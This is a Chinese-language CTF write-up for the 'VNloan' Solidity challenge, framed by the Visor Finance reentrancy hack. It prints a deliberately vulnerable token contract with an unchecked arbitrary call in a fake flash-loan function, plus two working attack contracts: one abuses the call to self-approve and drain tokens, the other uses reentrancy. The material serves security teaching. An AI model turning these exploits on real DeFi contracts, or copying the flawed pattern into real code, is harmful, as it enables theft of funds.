0x00 背景
基于 Uniswap V3 的 DeFi 流动性协议Visor Finance遭受黑客攻击,黑客利用重入漏洞耗尽了880万枚VISR代币,当时,VISR的交易价格约为0.93美元,总损失约为820万美元。
因为call调用产生的漏洞还是比较多的,比如重入漏洞,atn代币增发事件等。
0x01 VNloan
题目链接:https://buuoj.cn/match/matches/81/challenges
解出密码获得题目合约
Setup.sol
pragma solidity 0.4.26;
import "./VNETH.sol";
contract Setup{
VNETH public vneth;
bool public Solved=false;
constructor()public payable{
vneth=new VNETH();
}
function checksuccess()public{
if(vneth.balanceOf(msg.sender)>=5000)
Solved=true;
}
function isSolved()public view returns(bool){
if(Solved==true){
return true;
}
return false;
}
}
VNETH.sol
pragma solidity 0.4.26;
contract VNETH {
address public owner;
string public name = "VN ETHER";
string public symbol = "VNeth";
uint8 public decimals = 18;
bool public isLoan=false;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
constructor()public{
owner=msg.sender;
balanceOf[owner]=1e18 ether;
balanceOf[address(this)]=1e18 ether;
}
function() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function fakeflashloan(uint256 value,address target,bytes memory data) public{
require(isLoan==false&&value>=0&&value<=1000);
balanceOf[address(this)]-=value;
balanceOf[target]+=value;
address(target).call(data);
isLoan=true;
require(balanceOf[target]>=value);
balanceOf[address(this)]+=value;
balanceOf[target]-=value;
isLoan=false;
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != 2**256-1) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
0x03 分析漏洞
解法一 call调用
首先分析setup代码,我们可以看到需要满足调用者的余额大于等于5000,确定下来方向然后主要看VNETH合约。
我们可以看到在合约构造过程中,合约owner以及合约本身有1^18^*1^18^的余额,所以要是我们的攻击合约余额达到5000,可以从owner或合约中转账过来。
而从合约中想指定账户转账需要提前授权相应数量的代币。
所以在msg.sender是漏洞合约的前提下控制guy为攻击合约,即可为攻击合约获得权限
注意到,在该函数中,可以在target的环境下调用data,而target以及data都是可控的,所以漏洞是出现在call调用处。
所以我们可以构造data(包括function selctor以及对应参数),data可以通过调用approve函数获得。
再对fakeflashloan函数进行调用,传入data即可调用漏洞合约下的approve函数,此时msg.sender将是漏洞合约本身,攻击合约将会获得来自漏洞合约的指定数量的代币授权。
授权之后只需要调用transferfrom函数,将对应数量的代币转账到攻击合约中,即可满足解题条件。
poc如下
contract attack{
VNETH target = VNETH(0xe67f9c7880049BD323cc73D13Bed19c16dfC27F5);
Setup target1=Setup(0xb27A31f1b0AF2946B7F582768f03239b1eC07c2c);
function approve(address guy, uint wad)public{
target.approve(guy,wad);
}
function getallowance(uint256 value,address t,bytes memory data)public{
target.fakeflashloan(value,t,data);
}
function getmoney(address src, address dst, uint wad)public{
target.transferFrom(src,dst,wad);
}
function success() public{
target1.checksuccess();
}
}
按照分析过程调用对应函数并传入相应的参数即可。
解法二 重入
分析合约代码可以发现该处存在重入漏洞,而在fakeflashloan函数中data可控,并且对于isLoan变量的修改放在call之后,可以造成重入。
所以在攻击合约中调用一次fakeflashloan函数,随便输入一个data(bytes4类型,做selector)即可触发重入,攻击合约中的fallback函数内容为调用4次fakeflashloan函数(value是1000的情况下),此时总共调用了五次,余额达到要求。
但是值得注意的是,调用setup合约中的checksuccess函数时,要由攻击合约中的fallback函数判断达到条件后进行调用,具体原因放在poc之后
poc如下
contract attack{
VNETH target = VNETH(0x4b0d7A551c9371AEfC004Ae1a9F184aCD39B89C6);
Setup target1=Setup(0x9d83e140330758a8fFD07F8Bd73e86ebcA8a5692);
bytes data = '0xabcdabcd';
uint i;
function reen()payable public{
target.fakeflashloan(1000,address(this),data);
}
function() external payable{
while(i<4){
i++;
target.fakeflashloan(1000,address(this),data);
}
if(i==4){
target1.checksuccess();
}
}
}
因为在进行call调用时,是一次call中嵌套着另一次call,总共五次。而在最后一次出发攻击合约中的fallback函数时已经不满足i<4的条件。
call调用的特点是只返回true或false不会抛出异常,所以他会执行后续代码,也就是相机执行完五次嵌套中的后续代码,攻击合约中的余额将被归零,所以要按照poc中的方法进行攻击即可。
0x04 总结
call函数灵活性极高,合约在开发过程中,使用了危险的函数,并且使用不安全的交互模式,正是由于这种灵活性极高的函数的滥用造成了各种漏洞。
在此给开发者提出以下建议:
- 在合约开发过程中一定要谨慎的使用此类函数
- 并且在使用的过程中,对调用的合约地址,可调用的函数进行严格限制
- 智能合约在部署前必须经过严格的审计以及测试。